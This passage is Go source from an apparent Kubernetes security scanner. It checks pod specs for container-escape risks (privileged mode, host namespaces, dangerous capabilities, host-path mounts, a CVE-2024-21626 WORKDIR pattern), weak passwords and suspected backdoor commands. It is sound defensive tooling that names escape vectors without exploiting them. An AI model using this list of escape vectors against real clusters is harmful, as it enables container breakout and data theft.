    "content": "package analyzer\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"regexp\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/kvesta/vesta/config\"\n\n\tv1 \"k8s.io/api/core/v1\"\n\tmetav1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n)\n\nfunc (ks *KScanner) podAnalyze(podSpec v1.PodSpec, rv RBACVuln, ns, podName string) []*threat {\n\tvList := []*threat{}\n\n\tfor _, nswList := range namespaceWhileList {\n\t\tif ns == nswList {\n\t\t\tpruned, err := ks.prunePod(ns, podName)\n\t\t\tif err != nil {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tif pruned {\n\t\t\t\treturn vList\n\t\t\t}\n\n\t\t\tpod, err := ks.KClient.\n\t\t\t\tCoreV1().\n\t\t\t\tPods(ns).\n\t\t\t\tGet(context.TODO(), podName, metav1.GetOptions{})\n\t\t\tif err != nil {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tage := time.Since(pod.CreationTimestamp.Time)\n\n\t\t\tif age.Hours() < 168 {\n\t\t\t\tth := &threat{\n\t\t\t\t\tParam: \"replaced time\",\n\t\t\t\t\tValue: pod.CreationTimestamp.Time.Format(\"02/01/2006\"),\n\t\t\t\t\tType:  \"Pod modify\",\n\t\t\t\t\tDescribe: fmt.Sprintf(\"Pod has been modified %.2f hours ageo \"+\n\t\t\t\t\t\t\"in crucial namespace: %s\", age.Hours(), ns),\n\t\t\t\t\tSeverity: \"medium\",\n\t\t\t\t}\n\t\t\t\tvList = append(vList, th)\n\t\t\t}\n\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// Check the potential trampoline attack\n\tif ok, tlist := ks.checkPodNodeSelector(podSpec); ok {\n\t\tvList = append(vList, tlist...)\n\t}\n\n\tif podSpec.HostPID {\n\t\tth := &threat{\n\t\t\tParam: \"Pod hostPID\",\n\t\t\tValue: \"true\",\n\t\t\tType:  \"hostPID\",\n\t\t\tDescribe: \"Pod is running with `hostPID`, \" +\n\t\t\t\t\"which attackers can see all the processes in physical machine.\",\n\t\t\tSeverity: \"medium\",\n\t\t}\n\n\t\tvList = append(vList, th)\n\t}\n\n\tif podSpec.HostNetwork {\n\t\tth := &threat{\n\t\t\tParam: \"Pod hostNetwork\",\n\t\t\tValue: \"true\",\n\t\t\tType:  \"hostNetwork\",\n\t\t\tDescribe: \"Pod is running with `hostNetwork`, \" +\n\t\t\t\t\"which will expose the network of physical machine.\",\n\t\t\tSeverity: \"medium\",\n\t\t}\n\n\t\tvList = append(vList, th)\n\t}\n\n\tif podSpec.HostIPC {\n\t\tth := &threat{\n\t\t\tParam: \"Pod hostIPC\",\n\t\t\tValue: \"true\",\n\t\t\tType:  \"hostIPC\",\n\t\t\tDescribe: \"Pod is running with `hostIPC`, \" +\n\t\t\t\t\"which will expose all the data in shared memory segments.\",\n\t\t\tSeverity: \"medium\",\n\t\t}\n\n\t\tvList = append(vList, th)\n\t}\n\n\tfor _, v := range podSpec.Volumes {\n\t\tif ok, tlist := checkPodVolume(v); ok {\n\t\t\tvList = append(vList, tlist...)\n\t\t}\n\t}\n\n\tfor _, sp := range podSpec.Containers {\n\n\t\t// Skip some sidecars\n\t\tif sp.Name == \"istio-proxy\" {\n\t\t\t// Try to check the istio header `X-Envoy-Peer-Metadata`\n\t\t\t// reference: https://github.com/istio/istio/issues/17635\n\t\t\tif ok, tlist := ks.checkIstioHeader(podName, ns, podSpec.Containers[0].Name); ok {\n\t\t\t\tvList = append(vList, tlist...)\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\tif ok, tlist := checkPodPrivileged(sp); ok {\n\t\t\tvList = append(vList, tlist...)\n\t\t}\n\n\t\tif ok, tlist := checkPodAccountService(sp, rv); ok {\n\t\t\tvList = append(vList, tlist...)\n\t\t}\n\n\t\tif ok, tlist := checkResourcesLimits(sp, podSpec.Volumes); ok {\n\t\t\tvList = append(vList, tlist...)\n\t\t}\n\n\t\tif ok, tlist := ks.checkSidecarEnv(sp, ns); ok {\n\t\t\tvList = append(vList, tlist...)\n\t\t}\n\n\t\tif ok, tlist := ks.checkPodCommand(sp, ns); ok {\n\t\t\tvList = append(vList, tlist...)\n\t\t}\n\n\t\t// Check CVE-2024-21626\n\t\tif cveRuncRegex.MatchString(sp.WorkingDir) {\n\t\t\tth := &threat{\n\t\t\t\tParam: \"Pod WorkDIR\",\n\t\t\t\tValue: fmt.Sprintf(\"WORKDIR: %s\", sp.WorkingDir),\n\t\t\t\tType:  \"Suspect malicious pod\",\n\t\t\t\tDescribe: fmt.Sprintf(\"Pod has malicious configuration, it's WORKDIR is '%s',\"+\n\t\t\t\t\t\" which has a potential container escape, refer to CVE-2024-21626.\", sp.WorkingDir),\n\t\t\t\tReference: \"https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv\",\n\t\t\t\tSeverity:  \"high\",\n\t\t\t}\n\n\t\t\tvList = append(vList, th)\n\t\t}\n\n\t}\n\n\treturn vList\n}\n\nfunc checkPodVolume(container v1.Volume) (bool, []*threat) {\n\ttlist := []*threat{}\n\tvar vuln = false\n\n\thostPath := container.HostPath\n\tif hostPath != nil {\n\t\t//volumePath := filepath.Dir(hostPath.Path)\n\t\tvolumePath := hostPath.Path\n\n\t\tif isVuln := checkMountPath(volumePath); isVuln {\n\t\t\tth := &threat{\n\t\t\t\tParam: fmt.Sprintf(\"volumes name: %s\", container.Name),\n\t\t\t\tValue: volumePath,\n\t\t\t\tType:  string(*hostPath.Type),\n\t\t\t\tDescribe: fmt.Sprintf(\"Mounting '%s' is suffer vulnerable of \"+\n\t\t\t\t\t\"container escape.\", volumePath),\n\t\t\t\tSeverity: \"critical\",\n\t\t\t}\n\n\t\t\ttlist = append(tlist, th)\n\t\t\tvuln = true\n\t\t}\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc checkPodPrivileged(container v1.Container) (bool, []*threat) {\n\ttlist := []*threat{}\n\tvar vuln = false\n\n\tif container.SecurityContext != nil {\n\n\t\t// check capabilities of pod\n\t\t// Ignore the checking of cap_drop refer to:\n\t\t// https://stackoverflow.com/questions/63162665/docker-compose-order-of-cap-drop-and-cap-add\n\t\tcapList, highestSeverity := \"\", \"medium\"\n\t\tif container.SecurityContext.Capabilities != nil {\n\n\t\t\tadds := container.SecurityContext.Capabilities.Add\n\t\t\tfor _, ad := range adds {\n\t\t\t\tif ad == \"ALL\" {\n\t\t\t\t\tcapList = \"ALL\"\n\t\t\t\t\thighestSeverity = \"critical\"\n\n\t\t\t\t\tvuln = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\tfor c, s := range dangerCaps {\n\t\t\t\t\tif string(ad) == c {\n\t\t\t\t\t\tcapList += c + \" \"\n\t\t\t\t\t\tif config.SeverityMap[s] > config.SeverityMap[highestSeverity] {\n\t\t\t\t\t\t\thighestSeverity = s\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tvuln = true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif vuln {\n\t\t\t\tth := &threat{\n\t\t\t\t\tParam: fmt.Sprintf(\"sidecar name: %s | \"+\n\t\t\t\t\t\t\"capabilities\", container.Name),\n\t\t\t\t\tValue:    capList,\n\t\t\t\t\tType:     \"capabilities.add\",\n\t\t\t\t\tDescribe: \"There has a potential container escape in dangerous capabilities.\",\n\t\t\t\t\tSeverity: highestSeverity,\n\t\t\t\t}\n\t\t\t\ttlist = append(tlist, th)\n\t\t\t}\n\t\t}\n\n\t\tif container.SecurityContext.Privileged != nil && *container.SecurityContext.Privileged {\n\t\t\tth := &threat{\n\t\t\t\tParam: fmt.Sprintf(\"sidecar name: %s | \"+\n\t\t\t\t\t\"Privileged\", container.Name),\n\t\t\t\tValue:    \"true\",\n\t\t\t\tType:     \"Sidecar Privileged\",\n\t\t\t\tDescribe: \"There has a potential container escape in privileged module.\",\n\t\t\t\tSeverity: \"critical\",\n\t\t\t}\n\t\t\ttlist = append(tlist, th)\n\t\t\tvuln = true\n\t\t}\n\n\t\tif container.SecurityContext.AllowPrivilegeEscalation != nil && *container.SecurityContext.AllowPrivilegeEscalation {\n\t\t\tth := &threat{\n\t\t\t\tParam: fmt.Sprintf(\"sidecar name: %s | \"+\n\t\t\t\t\t\"AllowPrivilegeEscalation\", container.Name),\n\t\t\t\tValue:    \"true\",\n\t\t\t\tType:     \"Sidecar Privileged\",\n\t\t\t\tDescribe: \"There has a potential container escape in privileged module.\",\n\t\t\t\tSeverity: \"critical\",\n\t\t\t}\n\t\t\ttlist = append(tlist, th)\n\t\t\tvuln = true\n\t\t}\n\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc (ks *KScanner) checkSidecarEnv(container v1.Container, ns string) (bool, []*threat) {\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\t// Check Pod Env\n\tfor _, env := range container.Env {\n\n\t\tneedCheck := false\n\n\t\tif env.ValueFrom != nil {\n\t\t\tswitch {\n\t\t\tcase env.ValueFrom.SecretKeyRef != nil:\n\t\t\t\tsecretRef := env.ValueFrom.SecretKeyRef\n\t\t\t\tif ok, th := ks.checkSecretFromName(ns, secretRef.Key, secretRef.Name, env.Name); ok {\n\t\t\t\t\tth.Param = fmt.Sprintf(\"sidecar name: %s | env\", container.Name)\n\n\t\t\t\t\ttlist = append(tlist, th)\n\t\t\t\t\tvuln = true\n\t\t\t\t}\n\n\t\t\t\tcontinue\n\n\t\t\tcase env.ValueFrom.ConfigMapKeyRef != nil:\n\t\t\t\tconfigRef := env.ValueFrom.ConfigMapKeyRef\n\t\t\t\tif ok, th := ks.checkConfigFromName(ns, configRef.Name, configRef.Key, env.Name); ok {\n\t\t\t\t\tth.Param = fmt.Sprintf(\"sidecar name: %s | env\", container.Name)\n\n\t\t\t\t\ttlist = append(tlist, th)\n\t\t\t\t\tvuln = true\n\t\t\t\t}\n\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\tfor _, p := range passKey {\n\t\t\tif p.MatchString(env.Name) && env.ValueFrom == nil {\n\t\t\t\tneedCheck = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tif needCheck {\n\t\t\tswitch checkWeakPassword(env.Value) {\n\t\t\tcase \"Weak\":\n\t\t\t\tth := &threat{\n\t\t\t\t\tParam:    fmt.Sprintf(\"sidecar name: %s | env\", container.Name),\n\t\t\t\t\tValue:    fmt.Sprintf(\"%s: %s\", env.Name, env.Value),\n\t\t\t\t\tType:     \"Sidecar Env\",\n\t\t\t\t\tDescribe: fmt.Sprintf(\"Container '%s' has found weak password: '%s'.\", container.Name, env.Value),\n\t\t\t\t\tSeverity: \"high\",\n\t\t\t\t}\n\n\t\t\t\ttlist = append(tlist, th)\n\t\t\t\tvuln = true\n\n\t\t\tcase \"Medium\":\n\t\t\t\tth := &threat{\n\t\t\t\t\tParam: fmt.Sprintf(\"sidecar name: %s | env\", container.Name),\n\t\t\t\t\tValue: fmt.Sprintf(\"%s: %s\", env.Name, env.Value),\n\t\t\t\t\tType:  \"Sidecar Env\",\n\t\t\t\t\tDescribe: fmt.Sprintf(\"Container '%s' has found password '%s' \"+\n\t\t\t\t\t\t\"need to be reinforeced.\", container.Name, env.Value),\n\t\t\t\t\tSeverity: \"medium\",\n\t\t\t\t}\n\n\t\t\t\ttlist = append(tlist, th)\n\t\t\t\tvuln = true\n\t\t\t}\n\t\t}\n\n\t\tdetect := maliciousContentCheck(env.Value)\n\t\tth := &threat{\n\t\t\tParam: fmt.Sprintf(\"sidecar name: %s | env\", container.Name),\n\t\t\tValue: fmt.Sprintf(\"%s: %s\", env.Name, detect.Plain),\n\t\t\tType:  \"Sidecar Env\",\n\t\t}\n\t\tswitch detect.Types {\n\t\tcase Confusion:\n\t\t\tth.Describe = fmt.Sprintf(\"Container '%s' finds high risk content(score: %.2f bigger than 0.75), \"+\n\t\t\t\t\"which is a suspect command backdoor. \", container.Name, detect.Score)\n\t\t\tth.Severity = \"high\"\n\n\t\t\ttlist = append(tlist, th)\n\t\t\tvuln = true\n\t\tcase Executable:\n\t\t\tth.Describe = fmt.Sprintf(\"An executable format of content is detected in Container '%s', \"+\n\t\t\t\t\"which is a potential backdoor and scanning the vulnerability is highly recommended.\", container.Name)\n\t\t\tth.Severity = \"critical\"\n\n\t\t\ttlist = append(tlist, th)\n\t\t\tvuln = true\n\t\tdefault:\n\t\t\t// ignore\n\n\t\t}\n\n\t}\n\n\t// Check pod envFrom\n\tfor _, envFrom := range container.EnvFrom {\n\t\tswitch {\n\t\tcase envFrom.ConfigMapRef != nil:\n\t\t\tconfigRef := envFrom.ConfigMapRef\n\t\t\tconfigReg := regexp.MustCompile(`ConfigMap Name: (.*)? Namespace: (.*)`)\n\t\t\tif ok, th := ks.checkConfigVulnType(ns, configRef.Name, \"ConfigMap\", configReg); ok {\n\t\t\t\tth.Param = fmt.Sprintf(\"sidecar name: %s | env\", container.Name)\n\n\t\t\t\ttlist = append(tlist, th)\n\t\t\t\tvuln = true\n\t\t\t}\n\n\t\tcase envFrom.SecretRef != nil:\n\t\t\tconfigRef := envFrom.SecretRef\n\t\t\tconfigReg := regexp.MustCompile(`Secret Name: (.*)? Namespace: (.*)`)\n\t\t\tif ok, th := ks.checkConfigVulnType(ns, configRef.Name, \"Secret\", configReg); ok {\n\t\t\t\tth.Param = fmt.Sprintf(\"sidecar name: %s | env\", container.Name)\n\n\t\t\t\ttlist = append(tlist, th)\n\t\t\t\tvuln = true\n\t\t\t}\n\n\t\tdefault:\n\t\t\t//ignore\n\t\t}\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc checkResourcesLimits(container v1.Container, volumes []v1.Volume) (bool, []*threat) {\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\tif len(container.Resources.Limits) < 1 {\n\t\tth := &threat{\n\t\t\tParam: fmt.Sprintf(\"sidecar name: %s | \"+\n\t\t\t\t\"Resource\", container.Name),\n\t\t\tValue:     \"memory, cpu, ephemeral-storage\",\n\t\t\tType:      \"Sidecar Resource\",\n\t\t\tDescribe:  \"None of resources is be limited.\",\n\t\t\tReference: \"https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/\",\n\t\t\tSeverity:  \"low\",\n\t\t}\n\n\t\ttlist = append(tlist, th)\n\t\tvuln = true\n\n\t\treturn vuln, tlist\n\t}\n\n\tif container.Resources.Limits.Memory().String() == \"0\" {\n\t\tth := &threat{\n\t\t\tParam: fmt.Sprintf(\"sidecar name: %s | \"+\n\t\t\t\t\"Resource\", container.Name),\n\t\t\tValue:     \"memory\",\n\t\t\tType:      \"Sidecar Resource\",\n\t\t\tDescribe:  \"Memory usage is not limited.\",\n\t\t\tReference: \"https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/\",\n\t\t\tSeverity:  \"low\",\n\t\t}\n\n\t\ttlist = append(tlist, th)\n\t\tvuln = true\n\t}\n\n\tif container.Resources.Limits.Cpu().String() == \"0\" {\n\t\tth := &threat{\n\t\t\tParam: fmt.Sprintf(\"sidecar name: %s | \"+\n\t\t\t\t\"Resource\", container.Name),\n\t\t\tValue:     \"cpu\",\n\t\t\tType:      \"Sidecar Resource\",\n\t\t\tDescribe:  \"CPU usage is not limited.\",\n\t\t\tReference: \"https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/\",\n\t\t\tSeverity:  \"low\",\n\t\t}\n\n\t\ttlist = append(tlist, th)\n\t\tvuln = true\n\t}\n\n\t// Checking the correction of storage limit usage\n\tif container.Resources.Limits.StorageEphemeral().String() != \"0\" {\n\t\tpodVolumes := container.VolumeMounts\n\t\tfor _, podV := range podVolumes {\n\t\t\tfor _, v := range volumes {\n\t\t\t\tif v.HostPath != nil {\n\t\t\t\t\tif podV.Name == v.Name {\n\t\t\t\t\t\tth := &threat{\n\t\t\t\t\t\t\tParam: fmt.Sprintf(\"sidecar name: %s | \"+\n\t\t\t\t\t\t\t\t\"Resource\", container.Name),\n\t\t\t\t\t\t\tValue: \"ephemeral-storage\",\n\t\t\t\t\t\t\tType:  \"Sidecar Resource\",\n\t\t\t\t\t\t\tDescribe: fmt.Sprintf(\"Ephemeral storage is used but in volumes '%s' with type hostpath, \"+\n\t\t\t\t\t\t\t\t\"which limitation will not work.\", v.Name),\n\t\t\t\t\t\t\tReference: \"https://kubernetes.io/docs/concepts/storage/ephemeral-volumes/#types-of-ephemeral-volumes\",\n\t\t\t\t\t\t\tSeverity:  \"low\",\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\ttlist = append(tlist, th)\n\t\t\t\t\t\tvuln = true\n\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn vuln, tlist\n}\n\n// checkPodAccountService check the default mount of service account\nfunc checkPodAccountService(container v1.Container, rv RBACVuln) (bool, []*threat) {\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\tfor _, vc := range container.VolumeMounts {\n\t\tif vc.MountPath == \"/var/run/secrets/kubernetes.io/serviceaccount\" {\n\n\t\t\tth := &threat{\n\t\t\t\tParam: fmt.Sprintf(\"sidecar name: %s | \"+\n\t\t\t\t\t\"automountServiceAccountToken\", container.Name),\n\t\t\t\tValue:    \"true\",\n\t\t\t\tType:     vc.Name,\n\t\t\t\tDescribe: \"Mount service account has a potential sensitive data leakage.\",\n\t\t\t\tSeverity: \"low\",\n\t\t\t}\n\n\t\t\tswitch rv.Severity {\n\t\t\tcase \"high\":\n\t\t\t\tth.Severity = \"critical\"\n\t\t\t\tth.Describe = fmt.Sprintf(\"Mount service account and key permission are given, \"+\n\t\t\t\t\t\"which will cause a potential container escape. \"+\n\t\t\t\t\t\"Reference clsuterRolebind: %s | roleBinding: %s\",\n\t\t\t\t\trv.ClusterRoleBinding, rv.RoleBinding)\n\t\t\tcase \"medium\":\n\t\t\t\tth.Severity = \"high\"\n\t\t\t\tth.Describe = fmt.Sprintf(\"Mount service account and view permission are given, \"+\n\t\t\t\t\t\"which will cause a sensitive data leakage. \"+\n\t\t\t\t\t\"Reference clsuterRolebind: %s | roleBinding: %s\",\n\t\t\t\t\trv.ClusterRoleBinding, rv.RoleBinding)\n\n\t\t\tcase \"low\":\n\t\t\t\tth.Severity = \"medium\"\n\t\t\t\tth.Describe = fmt.Sprintf(\"Mount service account and some permission are given, \"+\n\t\t\t\t\t\"which will cause a potential data leakage. \"+\n\t\t\t\t\t\"Reference clsuterRolebind: %s | roleBinding: %s\",\n\t\t\t\t\trv.ClusterRoleBinding, rv.RoleBinding)\n\t\t\tdefault:\n\t\t\t\t//ignore\n\t\t\t}\n\n\t\t\ttlist = append(tlist, th)\n\t\t\tvuln = true\n\t\t}\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc checkPodAnnotation(ans map[string]string) (bool, []*threat) {\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\tfor k, v := range ans {\n\t\tfor n, t := range unsafeAnnotations {\n\t\t\tif k == n {\n\t\t\t\tif len(t.Values) > 0 {\n\t\t\t\t\tfor _, sv := range t.Values {\n\t\t\t\t\t\tif strings.Contains(v, sv) {\n\t\t\t\t\t\t\tth := &threat{\n\t\t\t\t\t\t\t\tParam: fmt.Sprintf(\"pod annotation\"),\n\t\t\t\t\t\t\t\tValue: fmt.Sprintf(\"%s: %s\", k, v),\n\t\t\t\t\t\t\t\tType:  \"Pod Annotation\",\n\t\t\t\t\t\t\t\tDescribe: fmt.Sprintf(\"Pod Annotation has an unsafe config from %s\"+\n\t\t\t\t\t\t\t\t\t\" and value is `%s`.\", t.component, v),\n\t\t\t\t\t\t\t\tSeverity: t.level,\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\ttlist = append(tlist, th)\n\t\t\t\t\t\t\tvuln = true\n\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tth := &threat{\n\t\t\t\t\t\tParam: fmt.Sprintf(\"pod annotation\"),\n\t\t\t\t\t\tValue: fmt.Sprintf(\"%s: %s\", k, v),\n\t\t\t\t\t\tType:  \"Pod Annotation\",\n\t\t\t\t\t\tDescribe: fmt.Sprintf(\"Pod Annotation detects unsafe annotation name from %s\"+\n\t\t\t\t\t\t\t\" and value is `%s`, need to check.\", t.component, v),\n\t\t\t\t\t\tSeverity: t.level,\n\t\t\t\t\t}\n\n\t\t\t\t\ttlist = append(tlist, th)\n\t\t\t\t\tvuln = true\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc (ks *KScanner) checkPodCommand(container v1.Container, ns string) (bool, []*threat) {\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\tcomRex := regexp.MustCompile(`\\$(\\w+)`)\n\n\tcommands := strings.Join(container.Command, \" \") + \" \"\n\tcommands += strings.Join(container.Args, \" \")\n\n\tcomMatch := comRex.FindAllStringSubmatch(commands, -1)\n\tif len(comMatch) > 1 {\n\t\tfor _, v := range comMatch[1:] {\n\t\t\tval := ks.findEnvValue(container, v[1], ns)\n\n\t\t\tdetect := maliciousContentCheck(val)\n\t\t\tswitch detect.Types {\n\t\t\tcase Confusion:\n\t\t\t\tth := &threat{\n\t\t\t\t\tParam: \"Pod command\",\n\t\t\t\t\tValue: fmt.Sprintf(\"command: %s\", detect.Plain),\n\t\t\t\t\tType:  \"Pod Command\",\n\t\t\t\t\tDescribe: fmt.Sprintf(\"Container command has found high risk environment in '%s'(score: %.2f bigger than 0.75), \"+\n\t\t\t\t\t\t\"considering it as a backdoor.\", v[0], detect.Score),\n\t\t\t\t\tSeverity: \"high\",\n\t\t\t\t}\n\n\t\t\t\ttlist = append(tlist, th)\n\t\t\t\tvuln = true\n\n\t\t\t\treturn vuln, tlist\n\t\t\tcase Executable:\n\t\t\t\tth := &threat{\n\t\t\t\t\tParam: \"Pod command\",\n\t\t\t\t\tValue: fmt.Sprintf(\"command: %s\", detect.Plain),\n\t\t\t\t\tType:  \"Pod Command\",\n\t\t\t\t\tDescribe: fmt.Sprintf(\"Container command has found executable risk environment in '%s', \"+\n\t\t\t\t\t\t\"considering it as a backdoor.\", v[0]),\n\t\t\t\t\tSeverity: \"critical\",\n\t\t\t\t}\n\n\t\t\t\ttlist = append(tlist, th)\n\t\t\t\tvuln = true\n\n\t\t\t\treturn vuln, tlist\n\t\t\tdefault:\n\t\t\t\t// ignore\n\t\t\t}\n\t\t}\n\t}\n\n\tdetect := maliciousContentCheck(commands)\n\tswitch detect.Types {\n\tcase Confusion:\n\t\tth := &threat{\n\t\t\tParam: \"Pod command\",\n\t\t\tValue: fmt.Sprintf(\"command: %s\", detect.Plain),\n\t\t\tType:  \"Pod Command\",\n\t\t\tDescribe: fmt.Sprintf(\"Pod Command finds high risk content(score: %.2f bigger than 0.75), \"+\n\t\t\t\t\"considering it as a backdoor.\", detect.Score),\n\t\t\tSeverity: \"high\",\n\t\t}\n\n\t\ttlist = append(tlist, th)\n\t\tvuln = true\n\n\tcase Executable:\n\t\tth := &threat{\n\t\t\tParam: \"Pod command\",\n\t\t\tValue: fmt.Sprintf(\"command: %s\", detect.Plain),\n\t\t\tType:  \"Pod Command\",\n\t\t\tDescribe: \"Container command is detected as a binary, \" +\n\t\t\t\t\"considering it as a backdoor.\",\n\t\t\tSeverity: \"critical\",\n\t\t}\n\n\t\ttlist = append(tlist, th)\n\t\tvuln = true\n\n\tdefault:\n\t\t// ignore\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc (ks *KScanner) checkPodNodeSelector(podSpec v1.PodSpec) (bool, []*threat) {\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\tif podSpec.NodeName != \"\" {\n\t\tnodeName := podSpec.NodeName\n\t\tif _, ok := ks.MasterNodes[nodeName]; ok {\n\t\t\tif ks.MasterNodes[nodeName].IsMaster {\n\t\t\t\tth := &threat{\n\t\t\t\t\tParam:    \"Node Name\",\n\t\t\t\t\tValue:    nodeName,\n\t\t\t\t\tType:     \"Pod Master NodeName\",\n\t\t\t\t\tDescribe: \"Pod is compulsively deployed in a master node.\",\n\t\t\t\t\tSeverity: \"low\",\n\t\t\t\t}\n\n\t\t\t\ttlist = append(tlist, th)\n\t\t\t\tvuln = true\n\t\t\t}\n\n\t\t}\n\t}\n\n\tfor key, value := range podSpec.NodeSelector {\n\t\tfor _, node := range ks.MasterNodes {\n\t\t\tif rv, ok := node.Role[key]; ok {\n\t\t\t\tif value == rv && node.IsMaster {\n\t\t\t\t\tth := &threat{\n\t\t\t\t\t\tParam:    fmt.Sprintf(\"nodeselector key: %s\", key),\n\t\t\t\t\t\tValue:    value,\n\t\t\t\t\t\tType:     \"Pod NodeSelector\",\n\t\t\t\t\t\tDescribe: \"Pod is compulsively deployed in a master node.\",\n\t\t\t\t\t\tSeverity: \"low\",\n\t\t\t\t\t}\n\n\t\t\t\t\ttlist = append(tlist, th)\n\t\t\t\t\tvuln = true\n\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn vuln, tlist\n}\n"
  },
  {
    "path": "internal/analyzer/k8s_rbac.go",
    "content": "package analyzer\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"log\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/kvesta/vesta/config\"\n\trv1 \"k8s.io/api/rbac/v1\"\n\tmetav1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n)\n\nfunc (ks *KScanner) checkRoleBinding(ns string) error {\n\trbs, err := ks.KClient.\n\t\tRbacV1().\n\t\tRoleBindings(ns).\n\t\tList(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\trls, err := ks.KClient.\n\t\tRbacV1().\n\t\tRoles(ns).\n\t\tList(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tclr, err := ks.KClient.\n\t\tRbacV1().\n\t\tClusterRoles().\n\t\tList(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tcheckBindKing := func(ruleKind, ruleName, roleName, subKind, subName, ns string) {\n\t\tswitch ruleKind {\n\t\tcase \"Role\":\n\t\t\tif ok, tlist := checkMatchingRole([]rv1.ClusterRole{}, rls.Items, ruleName); ok {\n\n\t\t\t\tfor _, th := range tlist {\n\t\t\t\t\tth.Type = \"RoleBinding\"\n\t\t\t\t\tth.Param = fmt.Sprintf(\"binding name: %s \"+\n\t\t\t\t\t\t\"| rolename: %s | role kind: Role \"+\n\t\t\t\t\t\t\"| subject kind: %s | subject name: %s | namespace: %s\", roleName, ruleName, subKind, subName, ns)\n\n\t\t\t\t\tif subKind == \"User\" && !strings.HasPrefix(subName, \"system:kube-\") {\n\n\t\t\t\t\t\tif config.SeverityMap[th.Severity] < 4 {\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tth.Severity = \"warning\"\n\t\t\t\t\t\tth.Describe = fmt.Sprintf(\"Key permission are given to unknown user '%s', \"+\n\t\t\t\t\t\t\t\"printing it for checking.\", subName)\n\t\t\t\t\t}\n\n\t\t\t\t\tif strings.Contains(subName, \"unauthenticated\") {\n\n\t\t\t\t\t\tif th.Severity == \"medium\" {\n\t\t\t\t\t\t\tth.Severity = \"high\"\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tth.Describe = \"Key permission are given and every pod can access it, \" +\n\t\t\t\t\t\t\t\"which will cause a potential data leakage.\"\n\t\t\t\t\t}\n\n\t\t\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\t\t\t\t}\n\n\t\t\t}\n\t\tcase \"ClusterRole\":\n\t\t\tif ok, tlist := checkMatchingRole(clr.Items, []rv1.Role{}, ruleName); ok {\n\n\t\t\t\tfor _, th := range tlist {\n\t\t\t\t\tth.Type = \"RoleBinding\"\n\t\t\t\t\tth.Param = fmt.Sprintf(\"binding name: %s \"+\n\t\t\t\t\t\t\"| rolename: %s | role kind: ClusterRole \"+\n\t\t\t\t\t\t\"| subject kind: %s | subject name: %s | namespace: %s\", roleName, ruleName, subKind, subName, ns)\n\n\t\t\t\t\tif subKind == \"User\" && !strings.HasPrefix(subName, \"system:kube-\") {\n\t\t\t\t\t\tif config.SeverityMap[th.Severity] < 4 {\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tth.Severity = \"warning\"\n\t\t\t\t\t\tth.Describe = fmt.Sprintf(\"Key permission are given to unknown user '%s', \"+\n\t\t\t\t\t\t\t\"printing it for checking.\", subName)\n\t\t\t\t\t}\n\n\t\t\t\t\tif strings.Contains(subName, \"unauthenticated\") {\n\n\t\t\t\t\t\tif th.Severity == \"medium\" {\n\t\t\t\t\t\t\tth.Severity = \"high\"\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tth.Describe = \"Key permission are given and every pod can access it, \" +\n\t\t\t\t\t\t\t\"which will cause a potential data leakage.\"\n\t\t\t\t\t}\n\n\t\t\t\t\tks.VulnConfigures = append(ks.VulnConfigures, th)\n\t\t\t\t}\n\n\t\t\t}\n\t\tdefault:\n\t\t\t// ignore\n\t\t}\n\t}\n\n\tfor _, rb := range rbs.Items {\n\t\tfor _, sub := range rb.Subjects {\n\t\t\t// Ignore namespace in while list\n\t\t\tisWhite := false\n\n\t\t\tfor _, wns := range namespaceWhileList {\n\t\t\t\tif sub.Namespace == wns {\n\t\t\t\t\tisWhite = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif isWhite {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\truleKind := rb.RoleRef.Kind\n\t\t\truleName := 